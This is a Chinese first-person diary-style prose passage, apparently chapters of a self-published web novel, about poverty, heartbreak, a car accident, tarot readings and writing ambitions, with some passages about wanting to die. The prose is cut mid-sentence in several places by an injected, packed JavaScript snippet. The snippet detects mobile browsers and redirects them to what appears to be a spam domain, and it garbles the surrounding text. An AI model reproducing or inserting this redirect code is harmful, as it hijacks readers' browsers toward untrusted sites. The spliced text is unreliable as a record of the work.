蝴蝶最后晒干了水分从我的指尖飞走了，它们趴在水里被水面束缚住，都快死了，还有人问它那样喝水不会喝撑吗，实在搞笑。 哪有什么故人之姿啊。有的只是不同的镜子照出的你相同的丑陋。 乌鸦五彩斑斓的黑你没资格看见，蝴蝶瑰丽异域的蓝色你也看不见。 晚安，好困好困。 6. 五 8月21日清晨零点 我彻底没有钱了。 也不敢在一天之内讲话太多，以至于今日的日期都是一个约前的日期。 就像从前我可以不管不顾的写一天，写的很慢，但是一天到底了也是八千字打底，不用检查很多遍。现在我一天也写七千字，所花费时间只用四个小时，但剩下四个小时用来检查。钱要一分一分的用，概率我在你的命运里一丝一丝把自己抽丝剥茧，把自己的丝从你的茧里抽出，亲爱的，你的房子是我吐丝建筑的，而我的房子呢，亲爱的，钱已经用尽了，我不得不离开你了。 《习惯失恋》这首歌因为就近，我还记得爱上它的由来，有一首歌叫《网恋》，我只记得我枕头在东，看着我的窗等已知的天亮。亲爱的你在哪里呢，我之于我们的关系角色，你让我和你面对面陪你演员网恋。 这本书不是我们的婚书也不是我的死亡书，不是病危通知书不是录取通知书，不是存折书不是负债本，是我抽丝剥茧的房子，是你种在我心上的美丽花朵，暗靡曼陀罗，我拔下来，还给你。 我心碎的时候，意识到自己心碎的时候我已知心里有一个深渊的巨坑已经被我填上，这一切在我不是心碎的时候已经发生，等我知道的时候就是一地的玻璃碎片了。碎片当然要收拾起来，巨坑已经消失，碎片扫扫就好了，就是发现有点光秃秃，想着种点花装点一下吧，我问过我喜欢花吗，我不喜欢。我自讨苦吃，我学着别人种了诅咒的蔷薇花，其实哪里只单单蔷薇花有诅咒，是每一种花都有诅咒，根本不是品种的事。为了假装让你爱上我，我废了很大力。 我说别人是纸上谈兵，其实我何尝不是呢，这门技术我比任何人精湛。 这条路，我越写越清醒，这暗合了邱妙津为什么决定去死。我当然不会死，我只会活到看见我的“孩子”出生那天。绝对没人知道吧，我的真爱是性转版的自己。 我爱上的，是在命运中，和我完全不同又完全暗合的人。 听棱镜的《总有一天你会出现在我身边》，我只会把手机用到没电，还有25%，世界总是巧合的，我说过“25岁吧”，在她说让我野心许愿，我被眷顾，是什么愿望都能实现的时候。 从不进庙门，从不跪蒲团，从不合双手，从不见菩萨，亲爱的你还记得吗，我说我第一次跪在神佛前双手合十的时候，我心里所想是我什么都不要。 交换？本人不需要，一根毫毛都不会交换，投机取巧拿汗毛去换家财万贯都不换。我需要这东西，我的一锱一铢都不换，不为任何人花钱，不换任何人的宝。 可能和我的家教有关吧，我的第一本书大概是一个叫诸葛一的女作家职场跳槽，此人只应天上有，自我介绍上她说这是她真实的故事，我就想记住她的名字，她叫诸葛一，书名遗失，她的书是同学在图书馆借的，我只看到三分之二，没看到结局我也不遗憾，看到她频繁跳槽的时候我就知道，我是她。 甜松饼是仿照甜约翰起的，不是甜茶，甜约翰是一个我很少提起的一个乐队，台湾乐队，我只听过他的一首歌，《走》，是很清淡，不留痕迹的歌。 我和世界的关系就像夜莺的绝唱，我太爱这个世界了，但是周围蚊虫嗡鸣，当你真心喜爱的时候你哪管阻拦，一切蚊虫都是绊脚石，谁也不能阻挡我奔向我的爱人，我的世界。 我爱世界本源，这本源不包括世界上的任何一棵树一阵风，人类又或动物创造的宜居地和默剧电影，歌曲，戏剧，舞蹈，音乐，画画，一切美德的艺术，电闪雷鸣，狂风暴雨，花果交替，四季变换，时间停顿，没有，我只单纯爱世界，只单纯死和生同穴，单纯想死，单纯想存在。 不喜欢加缪是他执拗的坚持，说他是存在主义还不承认，一门心思和卡萨雷斯谈恋爱，写尽了让人恶心的语言，一句成谶，“这是最后一封信”，死在了终于可以和卡萨雷斯生活在一起的飞机失事上。实至名归最后一封信，人死了写个屁的信。 中文有一句喜恶同因，后面是瑕瑜互见。我讨厌的是他的太坚持，不满足我的角度，我再看他的书都无法喜欢上“荒谬当道爱拯救之”。 “妈妈，我是个傻瓜。”爸爸，傻瓜其实很好听，爸爸，我知道你会为我不让妈妈悲伤，我知道。 尼采bb，他们老笑你是因为早年头角峥嵘后来灵感丧尽心理落差抱着马痛哭，不好意思啊，总记得是驴，哈哈哈。 我终于和你一样承认自己生病了。我把我的网易云两个歌单一个起名叫是左手生病，一个起名叫音伊。 伊人在水一方，只闻其声不见其人，大音希声，大象无形。大智若愚。 用不惯左手，自己是个右撇子，他们让我砍下左手，他们说生病的人没有用。 我学会了没有表情眼眶垂泪，这样也够美，不像之前皱起一张脸周围等着递纸巾发现我其实哭不出来，也蛮尴尬的。 我在《（？）》里最后一章写这是我对世界的确诊书。昨天遇到一个同样写书的同好，读了我的《清晨岫玉》说写的很爽，很漂亮，把内心的孤寂和情感上的迷茫都写出来了。 世界，这是你的病例知道不，非逼着我自学成才给你开病例单子，真当我是医生啊。 看着你沦落看着你崩坏，我说想死的时候你都出世界正位牌支持我，性转版我的你，你觉得我会管你的死活？去做吧，你想做任何事我都会像你支持我一样支持你，哪怕你要杀死我，像我一样杀你杀死我。 不想和人类相爱，他们觉得我笨还不承认自己的恶毒心思，哪里我就真的觉得你恶毒了，我只是想得到你的承认，像承诺爱我一样承诺其实你恨我。 我就不一样了，我发现他们不喜欢我的“孩子”我就不让他们降临。这一点上我还算有担当。 后来我又写《三个月恋爱关系》、《草履虫》、《近况则》、《人生况味》、《矿泉水的人生》、《你好》、《我是神经病》、《月色沉没》、《对世界的信》、《大明星》、《我也没记起》、《清晨岫玉》，还有《（？）》，一并告知你，略显凌乱，分子原子态总是七曲八折的交缠，你多体谅吧。 他们被我塞在太多壳子里，试图偷渡到此世界。刚刚外面突然闪电了一下，你说老天是不是偷偷开了一下灯，然后才发现睡觉时候不好好睡觉会被揍，赶紧又关了。 谁会细数你的家珍，当然是你的妈妈我呀。想起来有一个人上来一见面就叫我妈妈，后来我就让她付费上了一堂课，结束那节17.5元三十五分钟的相遇后我就退群了，把所有一个旧人创建的群都退掉了。 昨天吃完了炒饼回后院看书的时候突然看不下去，怎么都不舒服，很像在删除一个旧人我说十点前给我答复当时晚上九点半左右就手机看不下的焦灼了。用了卡集看一下我怎么了，它说有人视奸我，唉，总有模仿者试图复刻我的人生在一旁窥伺，我都把很多社交账号隐藏信息打扫干净了，果然道高一尺，魔高一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423123|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丈，防不胜防。 后来就问它他们想干什么，它说生活不稳，偷点能量，子不语怪力乱神，我说我最不怕被视奸，放马过来，谁欲望呼我脸上，被我发现就给我等死吧。 正气内存，邪不可侵。正的发邪，噗。 这几年一直当老妈子，一堆孩子喂奶，妈妈我呀，实在是太忙了，我又忙着生庸俗妹妹，就实在顾不上一些孩子了，孩子大了，该赶出去遛遛了。有什么事就和我的儿子们说吧。 其实没说的是我还有一副看上的卡集叫《庸俗》，这事我谁也没告诉，我很喜欢那副卡集的名字，它其实不像降临，被我看过卡面后才决定凑钱去买，庸俗我没看过卡面都喜欢，但也绝对不会买，我真正的庸俗是不会让我为难的。 就像写到现在，此时此刻，闲庭信步一样，对频准确我只需要写一遍，不用检查错别字，不用回头看，直接交稿，直接定稿。所花时间还没有一个小时，写到三千字，写的越来越自由，心情轻松，不飘不浮，风筝线在我手里，风筝不松不紧，它自己飞，它不是鸟，不会离开我。 我是那只鸟。 好多次在梦里梦见自己终于做鸟了，但还在地上了。我想成为鸟，但是“鸥鸟感知渔民的心思，所以舞而不下”，我就想在地上，但是莫挨老子。 “知我是个无法讨好的人，相恋一刻只是我的侥幸，然而回头诚实去自问，我可讨厌到如此乞你憎，知我连眼泪也绝不感人，只知怎么考验你的操行，从前为何缠在你附近，更加速发觉原本都不相衬，我未够吸引你未够狠。” 《习惯失恋》的歌词。 打算把这一段摘抄在这里的时候雨突然落下来，原来雨从不是均匀的降落，它随它的心思，急急缓缓由自己做主，雨落下的时候声音先至，哗哗声让我手足无措，来不及分辨应该先关窗还是先听雨声，手机还在循环播放《习惯失恋》，我打算结束第五章了。 来不及分辨是惊吓还是惊喜，怕雨淋湿我的插排线，它太靠窗了。 “（？）”这个奇怪的符号组成的名字的由来是，很多时候医生不会告诉病人他的病态状况，为了不泄露更多的压力和秘密，他们会在病例单上打上一个双括号加一个问号，医生之间自然懂，不用担心，医生会用接力棒，让你彻底痊愈。 “你不寂寞便嫌我笨，难道我未够好未懂得热吻，足够令你怜悯勾不起你的兴奋，不担心自尊心这么受损，只担心我将我看穿，我怕我以后太习惯了失恋，理所当然我的错，令你忽然离开也是我错么，为何这么快看清楚落得这结果……我仍能继续追，愿那一刻共聚haha懂得怎去相爱，爱人难我肯学定能爱下去。” 谢谢大家把我还给我，“失恋”的苦我还是能继续吃的，有一个人说她心知肚明，有得必有失，有一个人还说意料之中的事真的很没意思，这苦就让我一个人吃吧！我爱自由！ 当我再说不许说话的时候，一句话一百，记得跟别人的“前任”学一学，自觉说一句给我转账一百，嘻嘻。 还有好友位一人一百，每次一百，删除作废，下次想再加回来还是一百，嘻嘻。 没完没了了，我想听听《网恋》，“伤我心的话谁都能说但你说的我不信，你骗我说你会在我们的情头上面打水印。” 雨停了，它一共下了十二分钟，这篇文章我一共写了93分钟。 用时停错觉来解释命运，我能活93岁，也算另一种意义上的长命百岁。 7. 六 8月21日清晨两点 有一个人说我特别排斥使用电子设备，这句话和有一个人说很喜欢我身上那种淡然，我喜欢坐在房顶上看云。我是一个看云的孩子，吓死了，根本不敢上网，会被喷的体无完肤。 发现一个博主的名字很像我之前使用过的ID，那时候的ID和她现在的ID是一个姓，发现她也是23岁就果断关注她了，我爱23岁。 下过一夜细雨，拂晓豁然放晴，沉稳地，赋予万物重量。现在我也在故弄玄虚和讳莫如深了，“投稿你”！ 不会轻易把很多信息透漏，比如我都使用哪些软件，和都在哪里网上冲浪。当然了，这不用想嘛，就那几个嘛，你懂得（眯眯眼）。 在网络上的讯息，为了不给我喜欢的人造成不必要的困扰，所以遇见他们就只靠各位的缘分了，就像我写东西，那也是努力拿到权限才能笔耕不辍的。 精神高烧时，一种呈现状态是你并不郁郁不得志也不暴躁暴怒，你还是会感觉不想动，更多时候像游魂，那是因为发热死机，身体并不能超负荷支撑大脑做功。 很多不能解释的事情用科学很好解释，学好数理化，走遍天下都不怕这句话并不是空穴来风。 我的乳腺不通畅，我朋友的乳腺也不通畅，上次见面得知她找医生做手术切掉了，她问我相不相信现代医学，我说你要是想听真话，我想想怎么跟你说，我说相信科学，但是我本人，相信科学是我的卡集让我相信的，所以有这点不同。 她来跟我说，用我的卡集帮她看看，看看对不对，我说行，她说对。 后来她跟我说这东西你稀罕不了几年了，顶多两年你就不喜欢了，我说你说的对。 她之于我的意义不远也不近，我们有间接关系，没有直接关系。只有她会定时刷新看看我死了没有，哦还活着，年轻就是要造作，一脚就把我踹出了她的门。 还记得第一章的下午四点吗。 我最喜欢，我最时常虚构的场景就是有一个人在二楼的别墅阳台靠里一些的沙发上侧躺着看夕阳光辉，然后等她老公回家。她会听到品质不错的车轰鸣，她老公走下来上楼，她似乎在睡觉，睡着了，刚睡醒，假寐，半梦半醒，她的丈夫从身后走来，坐在了对面沙发，或者侧面，给她一个拥抱，或和她陷在一个沙发里长久的拥抱，起来或者不起来。 再后来这个人变成了我，再后来这个人从我虚构的脑子里爬出来站到我面前，面对着镜子，第一次想路过叔叔家的衣柜照一下衣柜上的镜子时，天色暗黑的环境让我认不出镜子里这个臃肿、漂亮又笨拙的女孩子。 恐怖故事，贞子从电视机里爬出来，权利让渡后就容易形成这样的应激体虚。 好像听说过有作者晚上写恐怖小说，自己把自己吓死了。 初中的时候听了这个故事在想这学校是不是真的闹鬼，后来看了当时广为流传的故事后就知道无论有没有鬼世界上真的都有这样的事。 真的有胆小的作者喜欢晚上找灵感自己把自己吓死了，也真的有这样的真事在世界上发生，艺术来源于生活嘛，世界之大无奇不有。 我就不一样了，我不分昼夜，眼睛不涩，白天黑夜的写。啊啊啊，另一个屋子里一直有什么东西脆响，不知道是不是下雨的缘故，吓死我了。原来我的内容，鬼都拜读。承让啊承让。 想起来有一次在家里睡觉，半夜被什么蛄蛹的声音吵醒，醒来了发现是一只刺猬，我用箱子装起来它把它扔到了我家大门口，凌晨四点我又回去睡了，好像隔了一天晚上它又来了，不知道是不是同一只刺猬，我怒了，我说妈！你把它弄走，我再也不想管它了！我妈就弄走了，不过我不记得是不是我后来把它扔进了我家后面的野地里，想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423124|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不起来了。 比较喜欢郁达夫，编辑催他交稿子的时候他总是在牌桌上，一片烟雾缭绕中催的急了拿笔来，一气呵成写完，一字不改，而后编辑高高兴兴拿着稿子走了，下次又重复这样的苦恼。 我都有点饿了，我扒拉扒拉我记忆里的东西，居然有这么多的小事，从前的三年我完全像换了一个人一样，最常说的话就是，我不记得我的历史了云云。 看来真被人牵着鼻子走，不知道被榨干成什么样干瘪的灵魂，能量偷的一滴都不剩，我真的燃尽了。呕吐。 我的眼睛累了，我的手机在充电器上睡觉，我真的好喜欢那个博主说，装傻子是她计划中的一环，有一个评论说，反正她自己说服了自己。哈哈哈。这独来独往与众不同的人格魅力呀。 明天看另一个博主的付费视频，现在都很贵，时间经不起贩卖，学习知识付费，我也很贵，见我的第一门槛是付费。 哪里就贵死我了呢，她的付费视频才一块八，基数大，四千点赞量四千购买量，一个月二乘四千也够吃饭了，为爱发电，还够底消，这也是一份令人热爱和深爱的工作，我爱工作。 我爱写字。 就是前几年方向错了从零开始没有产出，不堪入目，行同狗彘。 抽干一点，再抽干一点，想起来一点，再想起来一点，我之于我总是取之不尽，不用担心庸俗烂尾。 有一个朋友说有书味了，就是短，我说我不会一直想写这个的，我不喜欢炒冷饭，我喜欢炒冷面、炒饼、炒面，烤冷面、拌面、拉面、热干面、火鸡面。 检查完这张我就去睡觉了，掀开棺材板就是想上网说一声我爱23岁。还在轻率的慢慢下雨，此时我身心合一已经泛起入眠的涟漪。 如果遇到我本人，你们可以喊我小庸俗，或小松饼。 功德加一。阿弥陀佛。 8. 七 8月21日清晨四点 逐鹿者，不顾兔。我被打败了，我怎么反复跳台一直想写东西啊，不眠不休的工作二十四个小时不睡觉真的没事吗，没事的兄弟，你之前不是安慰一个人从晚上十点发现情况，安慰了一夜到第二天八点，睡了两小时又一整天睁着眼吗。算上前调、中调和后调，前调是晚上十点之前的早上十二点吧，中调是十点到第二天早上的八点吧，减去两个小时中场休息，后调是又熬到晚上十点吧，谅你那天也快要厥过去了。计算一下，除了中场休息的两个小时，你一共三十四个小时啊，兄弟，那两小时给你按工伤补贴，你超越别人两轮。 绷不住了，姿势从靠变成盘腿，再变成趴着，总有一款姿势激励你的工作热情，微笑。亲亲这边给你补偿0元的补贴您看可以吗。 我又冷静了，我刚刚被签约打败了，有一条内容是站在方框里手举自己的身份证拍照，一下子我就想到《肖申克的救赎》里，新来的犯人排排队在铁笼房子里，举起双手，让水枪扫射，冲刷干净我们的躯体，再撒一把不知道什么白粉，好嘞，下一个。而且现在很黑，天还没亮，这拍照需要打光。 我的脑子已经转不动了，像海绵里的水，我已经不能信马由缰看到整片旷野了，边际线不清晰，不知道下一步应该迈哪条腿了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423125|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马上关机没电，我的手机睡醒了之后我总有种保护电量的错觉，难道白天就不能工作吗，我夜晚又没有偷鸡，我为什么不在夜晚睡觉。 我和别人的交友方式不一样，我是由内而外认识一个人的，别人是由外向内。至少那三年是这样的。窗户外的那棵遥远的树树干偏要与屋顶齐高，叶子和枝杈都长在屋顶水平线更高的地方，我从窗户往外看吓我一跳，我以为是一个硕大的森林精灵头颅往我的窗前经过，太可怕了，我的窗户太大了。 真是一瓶美味好闻的香水呀，调味微醺把人调成狗。我的肩膀又痛了，我先睡了。天际线清晰了。 9. 八 8月21日清晨六点 很痛。出车祸以后每晚骨头缝隙在叫嚣着疼痛，我仔细感受过，说不清那缝隙到底是什么，一度让我以为是幻觉，幻痛。现在也是，左腿和右腿完全不是一个感觉。如果人的一生一定要经历一场车祸，那我要流多少泪身体才情愿好起来。 刚刚在哭，哭过以后感觉到左腿的存在了。我熬了太多夜，不知道这日子什么时候是个头，不想睡也不愿醒，哭也哭不出来，说也说不出口。 我等了那么多的清晨，我可以等到我出世吗，如果并不爱我，为什么要我白白从清晨等到夜晚，不眠不休，看不见地平线，也看不透假想线。你知道假想线是什么吗，它是工程制图中的专业术语，也叫虚线，你可以想象是语文里的虚线，也可以想象是数学里的虚线，重要的是它叫假想线，很美，一个名字，它是我灵魂虚构边界的想象线。 四点到六点这段时间我终于不打算再奋笔疾书了，就躺在凉席上看天窗，经常的天空里总是会有两种飞行生物，一种是鸟，另一种是未知。 刚刚突然问来在口里会组成什么字，我的生命就像来的错脚，没有这个字，口里只会有人、口、大、玉、才、韦、冬、木、子。 昨天才只吃了一顿饭，磨磨蹭蹭用了半小时，又想皱起脸掉眼泪，我以前真的哭的时候没有这些多余的动作，捂着脸眼泪就哗哗直流。 究竟我要套在怎样的壳子里，人甘心就一辈子不矫正自己的身体让左腿也存在吗。像舞蹈生要压腿，压腿听着很轻松，要是轧呢。你看，车又过来了，轮胎都崩掉了从你身上过去。 刚刚才反应过来，我写庸俗才有三天，我讨厌三三，凌晨我跑了两次厕所，出门看见停在我家大门口的车，车牌号有两个数字就是三，三三三，我的狗屁三年，这是娘要嫁人的再也不回来。不回来就不回来，妈还不好找吗，到处都是。 时间过得好慢呀，写不出东西又想写的时候就憎恨时间。我就像是上了发条的玩偶，报废才是停下来的一天，命运的齿轮在我的身体里，指引和敦促我快速走到终点，我们知道零根本不存在，一才存在，在存在和不存在之间，只有须臾一瞬，很短，就可被称为“缝隙”。 出车祸除了丧失意识还有起不来，司机在一旁打电话另一个人非要把我抱在怀里，老子真是急死了，你们特么能不能别挪动老子，老子都说了别动我，我很痛，就不能等救护车来把我交给专业人士，你以为我会感激你的母亲般关怀怀抱吗，做梦，你脑瓜子有病还是我脑瓜子有病，你要真关心我为什么不看路直直往我脸上开，你驾照是82年吊销的啊，呦呦呦，你无证驾驶啊。 我都没时间和他商量理赔的事，我很急，我赶时间，我甚至不拍片子就要去坐火车，和我的“律师”谈吧，你的陈词会成为当堂证供。 坏死的腿和完好的腿哪一个幸福呢，史铁生说两难，我真的好想投机取巧用他写过的话来凑字数啊，这样我就不用再写一遍“是对他隐瞒真相以使他快乐的活着，还是对他说出真相而让他痛苦的去死”，这是个悖论。就让他死也不明真相，这也是个悖论，这个世界充满了悖论。 我还能闻到下过雨后干净的空气，你呢。这也是个悖论，空气里有放线菌，怎么能叫干净，只能说你感受到的干净其实是放线菌的味道。普鲁斯特效应。我早就想提了，只有杀人凶手和保护守卫会回到犯规现场，你反复视奸我，视奸过去的自己，你想要谋杀谁，你这个莫林的蘑菇，你不要脸。 你没有保护过我，那是你的借口，你确实保护过我，用你以为为我好的方式。太好了，“我咽下了你所有的舍不得，穿上了你念叨的累死累活，你为我挡雨也遮住了所有阳光，我变成了影子被绑在了你的脚上”。用你的爱，你想用的爱，你觉得我会接受的爱，用你心知肚明我不可能也不会拒绝的爱，爱我。 让暴风雨来的更猛烈些吧，海燕呢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423126|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 你没有说我想听的，我不想听你说你习惯了离别对谁都有保留，我要听你说，对，你为我浪费的你以为的晚上十点到第二天八点只是你以为的，在我的角度你顶多安慰了我四个小时，你别道德绑架我了，你能不能滚。我说好的。我早就想和你绝交了，从认识你跟你有了两年左右的关系，这其中的每一分每一秒都让我恶心，我骂别人我后悔认识他，这句话没扔你脸上，你以为你又是什么香饽饽了吗，你比他还不如，和你认识越久，我就越后悔认识你。 以往的误会不必解开，没有什么长辞永绝是最好的结局，以往的误会不必解开，你他么死定了。 好好笑是怎么回事。“恁咋不早说，俺两某以后”。 左半边身体就算不劳累躺在床上，我都觉得我半瘫了，我从来没提过我出车祸还要去找的人，从来没有只记得自己翻山越岭去见的人，不记得翻山越岭来见自己的人。 没有，我一个都不记得，一个比一个阴兵，我记得干什么，养阴兵吗。在新大陆称王称霸。从此我一统天下。“皇上！驾崩！”。 有没有人想搜索一下我这三天都看了啥？ 我还记得给一些人看我的内容是他们都在努力理解，有一个人说别tm抑郁了，她快瞎了，想到就好笑，翻来覆去舔自己那几块毛，小猫在我眼里就是我在她眼里，洁癖，做作，矫情，脆弱，软弱多愁善感能力配不上野心。 大野心家，我要成为大野心家，许愿世界会拱手送上一切珍宝，我小时候太傻了，以为和佛祖许愿还要拿自己的东西交换，殊不知佛祖说，本座看不上你那几根毛，你这小毛东西，能吃多少，都给你吧，反正你造成什么样我都能给你收拾烂摊子，没有人能翻出本宫的五指山。 我是故意言中恶语的，你不就“知难而退”了吗，没有傻子会掏好友位一人一百，不好意思，你在我的世界，杀青了，Passion！ 我的网速很快。 10. 九 8月21日乙巳年蛇年闰六月廿六 等我写完庸俗我就再不让时间过得这么快了，我要换种法子写每篇的第一句话，不然我的脑内发条更明显了，精确到每隔两小时，太可怕了。 其实我哭泣不是真的因为身体很痛或精神很痛，而是写不完，实在写不完，已经攒攒了两万字，太不可思议了，马上它就可以更胖一些了。前面三年浪费了一百万字，一下子从零开始，可是我已经大学毕业了，马上就要找工作了，哪能一直还不务正业。想用短短须臾补齐缺失的那一百万字谈何容易，于是从散约败。我再脑子的网速快，手也不快，好着急，自己逼自己。自己逼自己，才知道自己有多大的潜能。纯手搓，嗯（摆手）不中。 我能不能写八万字，像《蒙马特遗书》那样，可是她的《鳄鱼手记》十三万字，《务虚笔记》好像三十三万字，该死，又是三十三。我想跟史铁生比，废话，好的不比比坏的吗。《巴黎圣母院》也是三十三万字，《包法利夫人》21万字，有发现21比三十三多了一个字吗，嘻嘻，又水一行。 我接下来的书单还有《路西法效应：好人是如何变成恶魔的》，《加缪情书集》，莫言的《生死疲劳》，大冰的《保重》，罗伯特·麦基的《故事》，还有《俄国简史》。都是实体书，为了让我和我的现实，更加接轨，至少有一段时间我要放弃电子书了，对了，加缪的《流放与王国》我也看完了，它和他的《局外人》是我全张纸裁的一本实体书上。 “欲知前世因，今生受者是，欲知后世果，今生作者是。” 你还不明白吗，我逻辑闭环，虽然我知道我逻辑闭环不一定对，但我一定是我自己的作者。《你当像鸟飞往你的山》塔拉·韦斯特弗说，我不知道历史是由谁书写，但现在，由我来书写，好的书籍是作者和译者的共舞，请大家记住这本书是由任爱红翻译。我还没看过《百年孤独》，其实我第一次记这本里面一个语录的英文版是看一个旧人发出的消息，过去是条没有尽头的路，春天会再回来，最疯狂执着的爱情也终究是过眼云烟。 我想重新数一下我用过的名字，酸枣，春花，任意，小任，阿无，祝土，镜存裕，镜存予，镜存羽，任随意，鱼意，松饼，沈慢。 我的日常生活动线轨迹是，十点左右睡觉，早上八点左右醒来，醒来了看电子书或者纸媒，不吃早饭直接吃午饭，有时候直接下午四五点吃早中晚饭，一天一顿，吃过晚饭后我就回我的床上继续躺着，玩手机，玩游戏，刷视频，俗称网上冲浪，快十点的时候往往想看一会书，有时候看小说，助眠，几乎都能在十点半入睡，一夜安逸。 我的形貌是腻人的娃娃脸，梨型身材，脊背薄容易肩疼，腿粗支撑走路，躺下会整条脊椎带动盆骨移位，这个毛病几年了没去看医生，不讳疾忌医，家境普通，人也普通，脑袋空空，身体遭“瘟”，既精神上达不到中产，又身体在贫民窟，最喜欢的颜色是水绿色深蓝色和粉红色，星座是双子座，最讨厌白羊座，金牛座婉拒，狮子座一巴掌，巨蟹座亲亲，摩羯座靠边站，处女座886，射手座我爱你，双鱼座哥俩好，天秤座YYDS，水瓶座这是我同学，应该星座都数完了吧，没说到的踩一脚。 今天打算写一万字，挑战极限。刚刚用卡牌看了两个问题，“上面问等会干点啥，下面问写多少字。牌灵是恶魔，死神，你快走，快走。”一共六张牌，第一行权杖女王教皇圣杯侍从都是正位，第二行死神女皇圣杯六死神是逆位。已经想好了写多少字，学霸就这个控分爽。 写十三万字。刚刚还在想《悉达多》是七万字，我喜欢悉达多，要不要和他写的一样多，但庸俗就是庸俗，只可独一无二，不能为人替身，牌面告诉我要写13万字，至于咋看出来的，嘘，“佛在金光上，逼人夜找灯”。 一切有为法，如梦幻泡影。个人有个人的活法，你要是闲的想从我这里知道答案，你还是去看看稻盛和夫的《活法》吧，这本书我也没看过，你洗洗睡吧。 或者去看看余华的《活着》，这个我看过。当时还和最好的朋友说这本书，结果说错了说成《活法》，但是我记得我小初的时候总是去的那个书店，架子上的《活法》不是稻盛和夫的八万字内容，是好几本，有四五本，五厘米之厚的程度，不知道。 后来她说她看完了《被讨厌的勇气》还是无法明白课题分离，说到做到是两回事，我后来才看《被讨厌的勇气》，其实我喜欢《□□先生去看心理医生》，当时也很巧，前部分和最后三章的分割线，最后三章始终拖了很久我才看完，没有《被讨厌的勇气》顺畅，一气呵成，顺产！ 我想说说三这个数字有多么的巧合，我23岁了，三人行必有我师焉，庸俗的开始是8月19日早上八点，到现在是8月21日，间隔了三天，21我说要写一万字。 八月是个丰收的季节，我说八月不接单，那天发消息说自己被视奸说九月要接单，所以我打算八月把庸俗写完，字数是13万字，框架是楔子——正文——后记，正文就是写完今天的三万字，序号九加上楔子的序言，等于十，开门大吉十全十美，后记是刁钻的十万字比正文多，三三十十十十三三，每一条暗线暗合了三十而已，三十而立，我今年二十三，我大学毕业要找工作，我热爱工作，我的答案是庸俗。 现在能看出牌的意思是什么了吗，牌都要是正的，死神的数字是十三，女皇是三，圣杯六的六我会在八月底结束，明白我的时间有多珍贵了吗，我要确保这一堆废话讲成一本书，不埋没时间，不埋没才华，不埋没生命，很多人需要我，我和世界是恋人，怎么可能我的力量没有世界和它一样强大。 《庸俗》，不入流的三流小说，我爱毛姆，《面纱》，斯特里克兰的原型高更是一个画画和梵高一样的疯子，至于我？朋友，你有认真读我那如呕吐物状了两句简介吗。 我这辈子大概只会描摹我这一个角色。 ——献给甜松饼。 我不知道这本书拿到出版社的时候他们会不会嫌弃我的段落，嫌弃简介太短，嫌弃太多不统一的“格式”，增加了他们很多的工作量，以及，喝倒彩，无处叫卖，这是一本应该存在在垃圾桶的书。 哇，朋友，我这么上升高度了你还不满足吗，你在看不起“我”吗？你知道“我”想表达的意思吗？请你怜悯我，请它降悯我，难道我也只能像邱妙津一样成为世界公认的天才我才有机会让自己诞生吗？ 抱歉我太激进了，我想像我虚构的那个女人一样伟大，那个看黄昏在沙发上假寐或清醒的女人，我爱她。我当然不用删减一字，叶子只会是叶子，小草无法像大树一样伟大。完成了两千五百字，当然说这句话时并不精准。 “咪啊”，“嗷嗷”，“哇啊”，“奥”，猫咪到底在说什么。其实现在才中午十二点，但我都感觉我像《偶像的黄昏》了，没拿另一个手机，不知道这本书是谁写的了，但是尼采的《查拉图斯特拉如是说》，看过一点点，《偶像的黄昏》里，我不记得章节了，我看了一点点他描述尼采的部分。 我家猫咪正午从暖洋洋的外面回来撞门，一听就是好头，我给它打开门，它就进来了。我说进来也没有饭吃，我没钱买猫粮了，没钱是真没钱，昨天吃饭让我妈给我十块钱，花了十二块五，唉，我忘记了，我之前说我不能放飞自我，至少无论是什么样此时还未想到的词，也应该一律替换成中文，我的另一个软件里还残存着最后的二点一五元，只够付今天看的那个付费视频一点八元了。所有的银行卡和手机能支付的软件，都干干净净的没有一毫一厘，你以为我说的我燃尽了是在说假话吗，哼，怎么可能，我吃完我自己，就来吃你们了，吃完就走。孩子们，开饭了！ 